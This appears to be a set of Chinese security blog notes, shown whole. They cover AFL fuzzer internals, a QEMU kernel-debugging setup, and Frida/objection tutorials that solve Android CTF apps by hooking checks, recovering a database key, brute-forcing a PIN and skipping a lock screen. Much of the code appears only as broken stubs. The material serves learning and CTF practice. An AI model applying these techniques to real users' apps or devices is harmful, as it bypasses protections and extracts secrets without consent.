,并run_target,然后通过save_if_interesting来决定是否要导入这个文件到自己的queue里,如果发现了新的path,就导入。sd_ent->d_name
next_min_accept
值总结来说,这个函数就是先读取有哪些fuzzer文件夹,然后读取其他fuzzer文件夹下的queue文件夹里的case,并依次执行,如果发现了新path,就保存到自己的queue文件夹里,而且将最后一个sync的case id写入到.synced/其他fuzzer文件夹名
文件里,以避免重复运行。
len_p2的1/16
为remove_len,这是起始步长。len_p2的1/1024
,每轮循环步长会除2."trim %s/%s", DI(remove_len), DI(remove_len)
到tmp中, 即stage_name = “trim 512/512”q->len / remove_len
remove_pos < q->len
,即每次前进remove_len个步长,直到整个文件都被遍历完为止。.cur_input
里,然后运行一次fault = run_target
,trim_execs计数器加一q->exec_cksum
比较q->len
中减去remove_len个字节,并由此重新计算出一个len_p2
,这里注意一下while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES))
in_buf+remove_pos+remove_len
到最后的字节,前移到in_buf+remove_pos
处,等于删除了remove_pos向后的remove_len个字节。show_stats
根据queue entry的执行速度、覆盖到的path数和路径深度来评估出一个得分,这个得分perf_score在后面havoc的时候使用。
前面的没什么好说的,这里的q->depth
解释一下,它在每次add_to_queue的时候,会设置为cur_depth+1
,而cur_depth是一个全局变量,一开始的初始值为0。
简单的说就是写入文件并执行,然后处理结果,如果出现错误,就返回1.
post_handler
,就通过out_buf = post_handler(out_buf, &len)
处理一下out_buf,如果out_buf或者len有一个为0,则直接返回0subseq_tmouts++ > TMOUT_LIMIT
(默认250),就将cur_skipped_paths加一,直接返回1show_stats
将从mem
中读取len
个字节,写入到.cur_input
中
检查这个case的执行结果是否是interesting的,决定是否保存或跳过。如果保存了这个case,则返回1,否则返回0
以下分析不包括crash_mode,暂时略过以简洁
hnb = has_new_bits(virgin_bits)
,如果没有新的path发现或者path命中次数相同,就直接返回0fn = alloc_printf("%s/queue/id:%06u,%s", out_dir, queued_paths, describe_op(hnb))
文件里add_to_queue(fn, len, 0);
将其添加到队列里queue_top->has_new_cov = 1
,然后queued_with_cov计数器加一calibrate_case(argv, queue_top, mem, queue_cycle - 1, 0)
KEEP_UNIQUE_HANG
,就直接返回keeping的值simplify_trace((u64 *) trace_bits)
进行规整。FAULT_CRASH
,就跳转到keep_as_crashFAULT_TMOUT
,就返回keeping,否则就使unique_hangs
计数器加一,然后更新last_hang_time的值,并保存到alloc_printf("%s/hangs/id:%06llu,%s", out_dir, unique_hangs, describe_op(0))
文件。KEEP_UNIQUE_CRASH
即5000,就直接返回keeping的值simplify_trace((u64 *) trace_bits)
进行规整alloc_printf("%s/crashes/id:%06llu,sig:%02u,%s", out_dir,unique_crashes, kill_signal, describe_op(0))
文件。mem8[i] = simplify_lookup[mem8[i]]
,代表规整该路径的命中次数到指令值,这个路径如果没有命中,就设置为1,如果命中了,就设置为128,即二进制的1000 0000
0x0101010101010101ULL
,即代表这8个字节代表的path都没有命中,每个字节的值被置为1。1 | static const u8 simplify_lookup[256] = { |
1 | .bss:000000000060208F unk_60208F db ? ; ; DATA XREF: deregister_tm_clones↑o |
__AFL_SHM_ID
的值,所以通过这个环境变量来获取shm_id,然后进一步得到共享内存。1 | .text:00000000004009C0 lea rsp, [rsp-98h] |
插入的trampoline_fmt_64只有在mov rcx, xxx
这里不同,其xxx的取值就是随机数R(MAP_SIZE),以此来标识与区分每个分支点,然后传入__afl_maybe_log
作为第二个参数调用这个函数。
直接看汇编,还是很好理解的
_afl_area_ptr
是否为0,即是否共享内存已经被设置了。换句话说,只有第一个__afl_maybe_log会执行这个if里的代码_afl_area_ptr
为0,即共享内存还没被设置,则判断_afl_setup_failure
是否为真,如果为真,则代表setup失败,直接返回。_afl_global_area_ptr
的值_afl_area_ptr
__AFL_SHM_ID
,默认是个字符串,atoi转一下,得到shm_id,然后通过shmat启动对该共享内存的访问,并把共享内存连接到当前进程的地址空间,将得到的地址,保存到_afl_area_ptr
和_afl_global_area_ptr
中。FORKSRV_FD+1
即199这个文件描述符,向状态管道中写入4个字节的值,用来告知afl fuzz,fork server成功启动,等待下一步指示。__afl_fork_wait_loop
循环,从FORKSRV
即198中读取字节到_afl_temp
,直到读取到4个字节,这代表afl fuzz命令我们新建进程执行一次测试。_afl_temp
中,然后将子进程的执行结果,从_afl_temp
写入到状态管道,告知fuzz。__afl_fork_wait_loop
循环,不断从控制管道读取,直到fuzz端命令fork server进行新一轮测试。_afl_area_ptr
不为0,即共享内存已经被设置好了。那么就跳过上面的if,只执行__afl_store
逻辑,伪代码如下:R(MAP_SIZE)
)异或,取值后,使得共享内存里对应的槽的值加一,然后将prev_location设置为cur_location >> 1;
1 | cur_location = <COMPILE_TIME_RANDOM>; |
1 | char __usercall _afl_maybe_log@<al>(char a1@<of>, __int64 a2@<rcx>, __int64 a3@<xmm0>, __int64 a4@<xmm1>, __int64 a5@<xmm2>, __int64 a6@<xmm3>, __int64 a7@<xmm4>, __int64 a8@<xmm5>, __int64 a9@<xmm6>, __int64 a10@<xmm7>, __int64 a11@<xmm8>, __int64 a12@<xmm9>, __int64 a13@<xmm10>, __int64 a14@<xmm11>, __int64 a15@<xmm12>, __int64 a16@<xmm13>, __int64 a17@<xmm14>, __int64 a18@<xmm15>) |
strrchr
char *strrchr(const char *str, int c)
在参数 str 所指向的字符串中搜索最后一次出现字符 c(一个无符号字符)的位置。strlen
unsigned int strlen (char *s)
用来计算指定的字符串s的长度,不包括结束字符”\0”。DFL_ck_strdup
size = strlen((char*)str) + 1;
1 | ALLOC_MAGIC_C1-> 00 ff 00 ff size-> 2e 00 00 00 ret-> 2f 55 73 65 72 73 2f 73 │ ····.···/Users/s │ |
snprintf()
int snprintf(char *str, int n, char * format [, argument, ...]);
函数用于将格式化的数据写入字符串DFL_ck_alloc
1 | 00 ff 00 ff 35 00 00 00 00 00 00 00 00 00 00 00 │ ····5··········· │ |
alloc_printf
1 | 00 ff 00 ff 35 00 00 00 2f 55 73 65 72 73 2f 73 │ ····5···/Users/s │ |
access
int access(const char * pathname, int mode)
检查调用进程是否可以对指定的文件执行某种操作。strncmp
int strncmp ( const char * str1, const char * str2, size_t n );
若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 若小于s2,则返回小于0的值。
strcmp
int strcmp(const char *s1, const char *s2);
若参数s1 和s2 字符串相同则返回0。s1 若大于s2 则返回大于0 的值。s1 若小于s2 则返回小于0 的值。
strstr
char *strstr(const char *haystack, const char *needle)
在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 ‘\0’。gettimeofday
int gettimeofday(struct timeval *tv, struct timezone *tz)
gettimeofday()会把目前的时间用tv结构体返回,当地时区的信息则放到tz所指的结构中。1 | _STRUCT_TIMEVAL |
srandom
open
fdopen
FILE * fdopen(int fildes, const char * mode);
fdopen()会将参数fildes 的文件描述词, 转换为对应的文件指针后返回.fgets
char *fgets(char *str, int size, FILE *stream)
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (size-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。fopen
FILE * fopen(const char * path, const char * mode);
打开一个文件并返回文件指针atexit
int atexit (void (*function) (void));
atexit()用来设置一个程序正常结束前调用的函数. 当程序通过调用exit()或从main中返回时, 参数function所指定的函数会先被调用, 然后才真正由exit()结束程序.mkdir
int mkdir(const char *pathname, mode_t mode);
mkdir()函数以mode方式创建一个以pathname为名字的目录,mode定义所创建目录的权限flock
int flock(int fd,int operation);
flock()会依参数operation所指定的方式对参数fd所指的文件做各种锁定或解除锁定的动作。此函数只能锁定整个文件,无法锁定文件的某一区域。scandir
int scandir(const char *dir,struct dirent **namelist,int (*filter)(const void *b),int ( * compare )( const struct dirent **, const struct dirent ** ) );
int alphasort(const void *a, const void *b);
int versionsort(const void *a, const void *b);
lstat
int lstat (const char * file_name, struct stat * buf);
read
size_t read(int fd, void * buf, size_t count);
read()会把参数fd所指的文件传送count个字节到buf指针所指的内存中. 若参数count为0, 则read()不会有作用并返回0.sscanf
int sscanf(const char *str, const char *format, ...)
从字符串读取格式化输入。1 | strcpy( dtm, "Saturday March 25 1989" ); |
link
int link (const char * oldpath, const char * newpath);
rmdir
int rmdir(const char *pathname);
rmdir函数用于删除一个空目录。
getcwd
char * getcwd(char * buf, size_t size);
getcwd()会将当前的工作目录绝对路径复制到参数buf所指的内存空间,参数size为buf的空间大小。
unlink
int unlink(const char * pathname)
unlink()会删除参数pathname 指定的文件. 如果该文件名为最后连接点, 但有其他进程打开了此文件, 则在所有关于此文件的文件描述词皆关闭后才会删除. 如果参数pathname 为一符号连接, 则此连接会被删除。
pipe
int pipe(int fd[2])
创建一个简单的管道,若成功则为数组fd分配两个文件描述符,其中fd[0]用于读取管道,fd[1]用于写入管道setsid
子进程从父进程继承了:SessionID、进程组ID和打开的终端。子进程如果要脱离这些,代码中可通过调用setsid来实现。而命令行或脚本中可以通过使用命令setsid来运行程序实现。setsid帮助一个进程脱离从父进程继承而来的已打开的终端、隶属进程组和隶属的会话。
dup2
int dup2(int oldfd,int newfd);
waitpid
pid_t waitpid(pid_t pid, int * status, int options);
waitpid()会暂时停止目前进程的执行, 直到有信号来到或子进程结束. 如果在调用wait()时子进程已经结束, 则wait()会立即返回子进程结束状态值. 子进程的结束状态值会由参数status返回, 而子进程的进程识别码也会一块返回. 如果不在意结束状态值, 则参数status可以设成NULL. 参数pid为欲等待的子进程识别码。setitimer
mmap
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
sprintf
int sprintf(char *string, char *format [,argument,...]);
ftruncate
int ftruncate(int fd, off_t length)
ftruncate()会将参数fd指定的文件大小改为参数length指定的大小。参数fd为已打开的文件描述词,而且必须是以写入模式打开的文件。如果原来的文件件大小比参数length大,则超过的部分会被删去
lseek
off_t lseek(int fildes, off_t offset, int whence);
每一个已打开的文件都有一个读写位置, 当打开文件时通常其读写位置是指向文件开头, 若是以附加的方式打开文件(如O_APPEND), 则读写位置会指向文件尾. 当read()或write()时, 读写位置会随之增加,lseek()便是用来控制该文件的读写位置. 参数fildes 为已打开的文件描述词, 参数offset 为根据参数whence来移动读写位置的位移数.readdir
1 |
|
https://forcemz.net/cxx/2019/04/29/StringFormattingTalk/
http://rk700.github.io/2017/12/28/afl-internals/
http://rk700.github.io/2018/01/04/afl-mutations/
也public到了安全客,可以在我的个人主页查看
https://www.anquanke.com/member/133369
欢迎加入我的知识星球天问之路,可以获取带目录的pdf版,以及有什么问题可以提问我。
https://github.com/PKFXXXX/kbin
这里也可以换成busybox自己编译,见下文,但是我懒,就找同事要了一个。
直接下载解压即可。
直接sudo apt install qemu
boot.sh
bzImage
是内核镜像 由vmlinux压缩而来 initramfs.img
是磁盘镜像。
1 | qemu-system-x86_64 \ |
-s
选项是gdb调试用的 端口默认是1234.
然后./boot.sh
则进入qemu虚拟机。
如果需要添加什么文件,就解压然后放入文件之后重新打包
解压磁盘镜像
1 | mkdir core |
重打包
1 | cd core |
1 | sakura@ubuntu:~/kbin/kernel_env$ gdb -q |
这里set arch i386:x86-64
是为了解决一些奇妙的bug,如果不加可以调试就不用加了。
如果要查看函数的地址,可以通过cat /proc/kallsyms
搜索,但是需要root权限
在本地获得root权限可以直接去改磁盘镜像根目录下的init文件。这个init文件会在kernel初始化后执行。sakura@ubuntu:~/kbin/kernel_env/core$ cat init
1 |
|
这里的重点是setuidgid 0
则创建一个root shell。
然后断下来就是这样。
1 | wget https://busybox.net/downloads/busybox-1.30.0.tar.bz2 |
编译完成后跟目录多了一个_install的目录,就是我们编译的结果了。
1 | cd _install |
其中init中添加如下内容
1 |
|
然后打包find . | cpio -o --format=newc > ../initramfs.img
1 | sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison |
如图可以通过dir命令设置好内核源码目录,就可以带源码调试。
总结一下,下载最前面我发的环境,然后直接./boot.sh
就可以启动了,然后另开一个终端gdb attach上去就能调试了。
以后要调试别的版本的内核,也就只要自己编译一个对应版本的,替换掉原先的bzImage即可。
需要执行自己写的poc,就解压文件系统,然后放进去,然后重打包就好了,嫌麻烦的话,自己搭建一个server存文件,然后wget也可以,不过qemu里面的network环境相当神奇。
如果想学习二进制安全,或者和我交流,欢迎来这里找我w
https://github.com/frida/frida
python全版本随机切换,这里提供macOS上的配置方法
1 | brew update |
1 | 下载一个3.8.2,下载真的很慢,要慢慢等 |
另外当你需要临时禁用pyenv的时候
把这个注释了然后另开终端就好了。
关于卸载某个python版本
1 | Uninstalling Python Versions |
如果直接按下述安装则会直接安装frida和frida-tools的最新版本。
1 | pip install frida-tools |
我们也可以自由安装旧版本的frida,例如12.8.0
1 | pyenv install 3.7.7 |
老版本frida和对应关系
对应关系很好找
1 | pyenv local 3.8.2 |
1 | pyenv local 3.7.7 |
下载frida-server并解压,在这里下载frida-server-12.8.0
先adb shell,然后切换到root权限,把之前push进来的frida server改个名字叫fs
然后运行frida
1 | adb push /Users/sakura/Desktop/lab/alpha/tools/android/frida-server-12.8.0-android-arm64 /data/local/tmp |
如果要监听端口,就
1 | ./fs -l 0.0.0.0:8888 |
1 | git clone https://github.com/oleavr/frida-agent-example.git |
npm run watch
会监控代码修改自动编译生成js文件frida -U -f com.example.android --no-pause -l _agent.js
下面是测试脚本
s1.js
1 | function main() { |
loader.py
1 | import time |
解释一下,这个脚本就是先通过frida.get_device_manager().add_remote_device
来找到device,然后spawn方式启动settings,然后attach到上面,并执行frida脚本。
frida-ps -U
查看通过usb连接的android手机上的进程。
1 | sakura@sakuradeMacBook-Pro:~$ frida-ps --help |
1 | sakura@sakuradeMacBook-Pro:~$ frida-ps -U |
通过grep过滤就可以找到我们想要的包名。
1 | package myapplication.example.com.frida_demo; |
1 | function main() { |
1 | sakura@sakuradeMacBook-Pro:~$ frida-ps -U | grep frida |
1 | function main() { |
1 | function callFun() { |
1 | import time |
1 | sakura@sakuradeMacBook-Pro:~/gitsource/frida-agent-example/agent$ python frida_demo_rpc_loader.py |
即将手机上的app的内容发送到PC上的frida python程序,然后处理后返回给app,然后app再做后续的流程,核心是理解send/recv
函数
1 | <TextView |
1 | public class MainActivity extends AppCompatActivity { |
先分析问题,我的最终目标是让message_tv.setText可以”发送”username为admin的base64字符串。
那肯定是hook TextView.setText这个函数。
1 | console.log("Script loaded successfully "); |
1 | import time |
1 | sakura@sakuradeMacBook-Pro:~/gitsource/frida-agent-example/agent$ python frida_demo_rpc_loader2.py |
参考链接:https://github.com/Mind0xP/Frida-Python-Binding
Java.choose(className: string, callbacks: Java.ChooseCallbacks): void
通过扫描Java VM的堆来枚举className类的live instance。
Java.use(className: string): Java.Wrapper<{}>
动态为className生成JavaScript Wrapper,可以通过调用$new()
来调用构造函数来实例化对象。
在实例上调用$dispose()
以对其进行显式清理,或者等待JavaScript对象被gc。
Java.perform(fn: () => void): void
Function to run while attached to the VM.
Ensures that the current thread is attached to the VM and calls fn. (This isn’t necessary in callbacks from Java.)
Will defer calling fn if the app’s class loader is not available yet. Use Java.performNow() if access to the app’s classes is not needed.
send(message: any, data?: ArrayBuffer | number[]): void
任何JSON可序列化的值。
将JSON序列化后的message发送到您的基于Frida的应用程序,并包含(可选)一些原始二进制数据。
The latter is useful if you e.g. dumped some memory using NativePointer#readByteArray().
recv(callback: MessageCallback): MessageRecvOperation
Requests callback to be called on the next message received from your Frida-based application.
This will only give you one message, so you need to call recv() again to receive the next one.
wait(): void
堵塞,直到message已经receive并且callback已经执行完毕并返回
objection -d -g package_name explore
1 | sakura@sakuradeMacBook-Pro:~$ objection -d -g com.android.settings explore |
memory list modules
1 | com.android.settings on (google: 8.1.0) [usb] # memory list modules |
memory list exports libssl.so
1 | com.android.settings on (google: 8.1.0) [usb] # memory list exports libssl.so |
memory dump all 文件名
memory dump from_base 起始地址 字节数 文件名
Usage: memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
android heap search instances 类名
在堆上搜索类的实例
1 | sakura@sakuradeMacBook-Pro:~$ objection -g myapplication.example.com.frida_demo explore |
android heap execute 实例ID 实例方法
android hooking list activities/services
android intent launch_activity/launch_service activity/服务
android intent launch_activity com.android.settings.DisplaySettings
这个命令比较有趣的是用在如果有些设计的不好,可能就直接绕过了密码锁屏等直接进去。
1 | com.android.settings on (google: 8.1.0) [usb] # android hooking list services |
android hooking list classes
android hooking search classes display
1 | com.android.settings on (google: 8.1.0) [usb] # android hooking search classes display |
android hooking list class_methods 类名
1 | com.android.settings on (google: 8.1.0) [usb] # android hooking list class_methods java.nio.charset.Charset |
android hooking search methods display
知道名字开始在内存里搜就很有用
1 | com.android.settings on (google: 8.1.0) [usb] # android hooking search methods display |
android hooking watch class 类名
android hooking watch class 类名 --dump-args --dump-backtrace --dump-return
1 | android hooking watch class xxx.MainActivity --dump-args --dump-backtrace --dump-return |
android hooking watch class_method 方法名
1 | //可以直接hook到所有重载 |
objection run xxx | grep yyy的
方式,从终端通过管道来过滤。1 | sakura@sakuradeMacBook-Pro:~$ objection -g com.android.settings run memory list modules | grep libc |
--json logfile
来直接保存结果到文件里。.objection
文件里的输出log来查看结果。1 | sakura@sakuradeMacBook-Pro:~/.objection$ cat *log | grep -i display |
附件链接
android-backup-extractor工具链接
1 | sakura@sakuradeMacBook-Pro:~/Desktop/lab/alpha/tools/android/frida_learn$ java -version |
装个夜神模拟器玩
1 | sakura@sakuradeMacBook-Pro:/Applications/NoxAppPlayer.app/Contents/MacOS$ ./adb connect 127.0.0.1:62001 |
肯定还是先定位目标字符串Wait a Minute,What was happend?
jadx搜索字符串
重点在a()代码里,其实是根据明文的name和password,然后aVar.a(a2 + aVar.b(a2, contentValues.getAsString("password"))).substring(0, 7)
再做一遍复杂的计算并截取7位当做密码,传入getWritableDatabase去解密demo.db数据库。
所以我们hook一下getWritableDatabase即可。
1 | frida-ps -U |
看一下源码
1 | package net.sqlcipher.database; |
也可以objection search一下这个method
1 | ...mple.yaphetshan.tencentwelcome on (samsung: 7.1.2) [usb] # android hooking search methods getWritableDatabase |
hook一下这个method
1 | [usb] # android hooking watch class_method net.sqlcipher.database.SQLiteOpenHelper.getWritableDatabase --dump-args --dump-backtrace --dump-return |
hook好之后再打开这个apk
1 | (agent) [1v488x28gcs] Called net.sqlcipher.database.SQLiteOpenHelper.getWritableDatabase(java.lang.String) |
找到参数ae56f99
剩下的就是用这个密码去打开加密的db。
然后base64解密一下就好了。
还有一种策略是主动调用,基于数据流的主动调用分析是非常有意思的。
即自己去调用a函数以触发getWritableDatabase的数据库解密。
先寻找a所在类的实例,然后hook getWritableDatabase,最终主动调用a。
这里幸运的是a没有什么奇奇怪怪的参数需要我们传入,主动调用这种策略在循环注册等地方可能就会有需求8.
1 | [usb] # android heap search instances com.example.yaphetshan.tencentwelcome.MainActivity |
因为直接找Unfortunately,note the right PIN :(
找不到,可能是把字符串藏在什么资源文件里了。
review代码之后找到校验的核心函数,逻辑就是将input编码一下之后和密码比较,这肯定是什么不可逆的加密。
1 | public static boolean verifyPassword(Context context, String input) { |
这里就爆破一下密码。
1 | frida-ps -U | grep qualification |
1 | function main() { |
1 | ... |
这里注意parseInt
demo就不贴了,还是先定位登录失败点,然后搜索字符串。
1 | public class LoginActivity extends AppCompatActivity { |
LoginActivity.a(obj, obj).equals(obj2)
分析之后可得obj2来自password,由从username得来的obj,经过a函数运算之后得到一个值,这两个值相等则登录成功。
所以这里关键是hook a函数的参数,最简脚本如下。
1 | //打印参数、返回值 |
观察输入和输出,这里也可以直接主动调用。
1 | function login() { |
1 | ... |
接下来是第一关
1 | public abstract class BaseFridaActivity extends AppCompatActivity implements View.OnClickListener { |
关键函数在a(b("请输入密码:")).equals("R4jSLLLLLLLLLLOrLE7/5B+Z6fsl65yj6BgC6YWz66gO6g2t65Pk6a+P65NK44NNROl0wNOLLLL=")
这里应该直接hook a,让其返回值为R4jSLLLLLLLLLLOrLE7/5B+Z6fsl65yj6BgC6YWz66gO6g2t65Pk6a+P65NK44NNROl0wNOLLLL=
就可以进入下一关了。
1 | function ch1() { |
总结:
xx.value = yy
,其他方面和函数一样。_
,如_xx.value = yy
然后是第二关
1 | public class FridaActivity2 extends BaseFridaActivity { |
这一关的关键在于下面的if判断要为false,则static_bool_var
和this.bool_var
都要为true。
1 | if (!static_bool_var || !this.bool_var) { |
这样就要调用setBool_var
和setStatic_bool_var
两个函数了。
1 | function ch2() { |
接下来是第三关
1 | public class FridaActivity3 extends BaseFridaActivity { |
关键还是让if (!static_bool_var || !this.bool_var || !this.same_name_bool_var)
为false,则三个变量都要为true
1 | function ch3() { |
这里要注意类里有一个成员函数和成员变量都叫做same_name_bool_var
,这种时候在成员变量前加一个_
,修改值的形式为xx.value = yy
总结:
类名$内部类名
去use或者chooseclazz.class.getDeclaredMethods()
可以得到类里面声明的所有方法,即可以枚举类里面的所有函数。接下来是第四关
1 | public class FridaActivity4 extends BaseFridaActivity { |
这一关的关键是让if (!InnerClasses.check1() || !InnerClasses.check2() || !InnerClasses.check3() || !InnerClasses.check4() || !InnerClasses.check5() || !InnerClasses.check6())
中的所有check全部返回true。
其实这里唯一的问题就是寻找内部类InnerClasses
,对于内部类的hook,通过类名$内部类名
去use。
1 | function ch4() { |
利用反射,获取类中的所有method声明,然后字符串拼接去获取到方法名,例如下面的check1,然后就可以批量hook,而不用像我上面那样一个一个写。
1 | var inner_classes = Java.use("com.example.androiddemo.Activity.FridaActivity4$InnerClasses") |
总结:
enumerateClassLoaders
来枚举加载进内存的classloader,再loader.findClass(xxx)
寻找是否包括我们想要的interface的实现类,最后通过Java.classFactory.loader = loader
来切换classloader,从而加载该实现类。第五关比较有趣,它的check函数是动态加载进来的。
java里有interface的概念,是指一系列抽象的接口,需要类来实现。
1 | package com.example.androiddemo.Dynamic; |
这里有个loaddex其实就是先从资源文件加载classloader到内存里,再loadClass DynamicCheck,创建出一个实例,最终调用这个实例的check。
所以现在我们就要先枚举class loader,找到能实例化我们要的class的那个class loader,然后把它设置成Java的默认class factory的loader。
现在就可以用这个class loader来使用.use
去import一个给定的类。
1 | function ch5() { |
todo有一个疑问
https://github.com/frida/frida/issues/1049
总结: 通过Java.enumerateLoadedClasses
来枚举类,然后name.indexOf(str)
过滤一下并hook。
接下来是第六关
1 | import com.example.androiddemo.Activity.Frida6.Frida6Class0; |
这关是import了一些类,然后调用类里的静态方法,所以我们枚举所有的类,然后过滤一下,并把过滤出来的结果hook上,改掉其返回值。
1 | function ch6() { |
利用反射得到类里面实现的interface数组,并打印出来。
1 | function more() { |
题目下载地址:
https://github.com/tlamb96/kgb_messenger
firda的-f参数代表span启动frida -U -f com.tlamb96.spetsnazmessenger -l frida_russian.js --no-pause
1 | /* access modifiers changed from: protected */ |
这个题目比较简单,但是因为这个check是在onCreate
里,所以app刚启动就自动检查,所以这里需要用spawn的方式去启动frida脚本hook,而不是attach。
这里有两个检查,一个是检查property的值,一个是检查str的值。
分别从System.getProperty
和System.getenv
里获取,hook住这两个函数就行。
这里要注意从资源文件里找到User
的值。
1 | function main() { |
接下来进入到login功能
1 | public void onLogin(View view) { |
从资源文件里找到username,密码则是要算一个j()函数,要让它返回true,顺便打印一下i函数toast到界面的flag。
1 | Java.use("com.tlamb96.kgbmessenger.LoginActivity").j.implementation = function () { |
总结:
hook构造函数实现通过use取得类,然后clazz.$init.implementation = callback
hook构造函数。
我们先学习一下怎么hook构造函数。
1 | add(new com.tlamb96.kgbmessenger.b.a(R.string.katya, "Archer, you up?", "2:20 am", true)); |
用$init
来hook构造函数
1 | Java.use("com.tlamb96.kgbmessenger.b.a").$init.implementation = function (i, str1, str2, z) { |
打印栈回溯
1 | function printStack(name) { |
输出就是这样
1 | [Google Pixel::com.tlamb96.spetsnazmessenger]-> 2131558449 111 02:27 下午 false |
总结:
编译出dex之后,通过Java.openClassFile("xxx.dex").load()
加载,这样我们就可以正常通过Java.use
调用里面的方法了。
现在我们来继续解决这个问题。
1 | public void onSendMessage(View view) { |
新的一关是一个聊天框,分析一下代码可知,obj是我们输入的内容,输入完了之后,加到一个this.o
的ArrayList里。
关键的if判断就是if (a(obj.toString()).equals(this.p))
和if (b(obj.toString()).equals(this.r))
,所有hook a和b函数,让它们的返回值等于下面的字符串即可。
1 | private String p = "V@]EAASB\u0012WZF\u0012e,a$7(&am2(3.\u0003"; |
但实际上这题比我想象中的还要麻烦,这题的逻辑上是如果通过了a和b这两个函数的计算,等于对应的值之后,会把用来计算的obj的值赋值给q和s,然后根据这个q和s来计算出最终的flag。
所以如果不逆向算法,通过hook的方式通过了a和b的计算,obj的值还是错误的,也计算不出正确的flag。
这样就逆向一下算法好了,先自己写一个apk,用java去实现注册机。
可以直接把class文件转成dex,不复述,我比较懒,所以我直接解压apk找到classes.dex
,并push到手机上。
然后用frida加载这个dex,并调用里面的方法。
1 | var dex = Java.openClassFile("/data/local/tmp/classes.dex").load(); |
1 | Log.d("SimpleArray", "onCreate: SImpleArray"); |
1 | Java.openClassFile("/data/local/tmp/r0gson.dex").load(); |
[C
是JNI函数签名1 | Java.openClassFile("/data/local/tmp/r0gson.dex").load(); |
如果不只是想打印出结果,而是要替换原本的参数,就要先自己构造出一个charArray,使用Java.array
API
1 | /** |
1 | Java.use("java.util.Arrays").toString.overload('[C').implementation = function(charArray){ |
可以用来构造参数重发包,用在爬虫上。
可以通过getClass().getName().toString()
来查看当前实例的类型。
找到一个instance,通过Java.cast
来强制转换对象的类型。
1 | /** |
1 | public class Water { // 水 类 |
1 | var JuiceHandle = null ; |
1 | public interface liquid { |
frida提供能力去创建一个新的java class
1 | /** |
首先获取要实现的interface,然后调用registerClass来实现interface。
1 | Java.perform(function(){ |
看smali或者枚举出来的类。
关于java枚举,从这篇文章了解。
https://www.cnblogs.com/jingmoxukong/p/6098351.html
1 | enum Signal { |
1 | Java.perform(function(){ |
1 | Java.perform(function(){ |
https://api-caller.com/2019/03/30/frida-note/#non-ascii
类名非ASCII字符串时,先编码打印出来, 再用编码后的字符串去 hook.
1 | //场景hook cls.forName寻找目标类的classloader。 |
https://www.jianshu.com/p/87ce6f565d37
1 |
|
1 | public native String stringWithJNI(String context); |
总结: 多去读一下java的反射API。
这里其实有一个伏笔,就是为什么我们要trace artmethod,hook artmethod是因为有些so混淆得非常厉害,然后也就很难静态分析看出so里面调用了哪些java函数,也不是通过类似JNI的GetMethodID这样来调用的。
而是通过类似findclass这种方法先得到类,然后再反射调用app里面的某个java函数。
所以去hook它执行的位置,每一个java函数对于Android源码而言都是一个artmethod结构体,然后hook拿到artmethod实例以后调用类函数,打印这个函数的名称。
1 | public class MainActivity extends AppCompatActivity { |
memory list modules
这一节的主要内容就是关于反调试的原理和如何破解反调试,重要内容还是看文章理解即可。
因为我并不需要做反调试相关的工作,所以部分内容略过。
对native函数的java层hook和主动调用和普通java函数完全一致,略过。
jni.h
头文件导入导入jni.h,先search一下这个文件在哪。
1 | sakura@sakuradeMacBook-Pro:~/Library/Android/sdk$ find ./ -name "jni.h" |
1 | Error /Users/sakura/Library/Android/sdk/ndk-bundle/sysroot/usr/include/jni.h,27: Can't open include file 'stdarg.h' |
报错,所以拷贝一份jni.h出来
将这两个头文件导入删掉
导入成功
现在就能识别_JNIEnv了,如图
先查看一下导出了哪些函数。
1 | extern "C" JNIEXPORT jstring JNICALL |
这里有几个需要的API。
Process.enumerateModules()
,这个API可以枚举被加载到内存的modules。Module.findBaseAddress(module name)
来查找要hook的函数所在的so的基地址,如果找不到就返回null。findExportByName(moduleName: string, exportName: string): NativePointer
来查找导出函数的绝对地址。如果不知道moduleName是什么,可以传入一个null进入,但是会花费一些时间遍历所有的module。如果找不到就返回null。Interceptor.attach
。使用方法见下代码。Java.vm.getEnv().getStringUtfChars(args[2], null).readCString()
这里我是循环调用的string_with_jni,如果不循环调用,那就要主动调用一下这个函数,或者hook dlopen。
hook dlopen的方法在这个代码可以参考。
1 | function hook_native() { |
1 | libnative_addr is: 0x7a0842f000 |
这里还写了一个hook env里的GetStringUTFChars的代码,和上面一样,不赘述了。
1 | function hook_art(){ |
1 | function hook_libc(){ |
https://github.com/android/ndk-samples
详细的内容参见我写的文章,这里只给出栗子。
1 | Log.d(TAG,stringFromJNI2()); |
1 | JNIEXPORT jstring JNICALL stringFromJNI2( |
使用下面这个脚本来打印出RegisterNatives的参数,这里需要注意的是使用了enumerateSymbolsSync,它是enumerateSymbols的同步版本。
另外和我们之前通过Java.vm.tryGetEnv().getStringUtfChars
来调用env里的方法不同。
这里则是通过将之前找到的getStringUtfChars函数地址和参数信息封装起来,直接调用,具体的原理我没有深入分析,先记住用法。
原理其实是一样的,都是根据符号找到地址,然后hook符号地址,然后打印参数。
1 | declare const NativeFunction: NativeFunctionConstructor; |
1 | var ishook_libart = false; |
结果很明显的打印了出来,包括动态注册的函数的名字,函数签名,加载地址和在so里的偏移量,
1 | [RegisterNatives] java_class: myapplication.example.com.ndk_demo.MainActivity name: stringFromJNI2 sig: ()Ljava/lang/String; fnPtr: 0x79f8698484 module_name: libnative-lib.so module_base: 0x79f8691000 offset: 0x7484 |
最后测试一下yang开源的一个hook art的脚本,很有意思,trace出了非常多的需要的信息。
1 | frida -U --no-pause -f package_name -l hook_art.js |
直接使用frida提供的接口打印栈回溯。
1 | Interceptor.attach(f, { |
效果如下,我加到了hook registerNative的地方。
1 | [Google Pixel::myapplication.example.com.ndk_demo]-> RegisterNatives called from: |
使用Interceptor.replace
,不赘述。主要目的还是为了改掉函数原本的执行行为,而不是仅仅打印一些信息。
inline hook简单理解就是不是hook函数开始执行的地方,而是hook函数中间执行的指令
整体来说没什么区别,就是把找函数符号地址改成从so里找到偏移,然后加到so基地址上就行,注意一下它的attach的callback。
1 | /** |
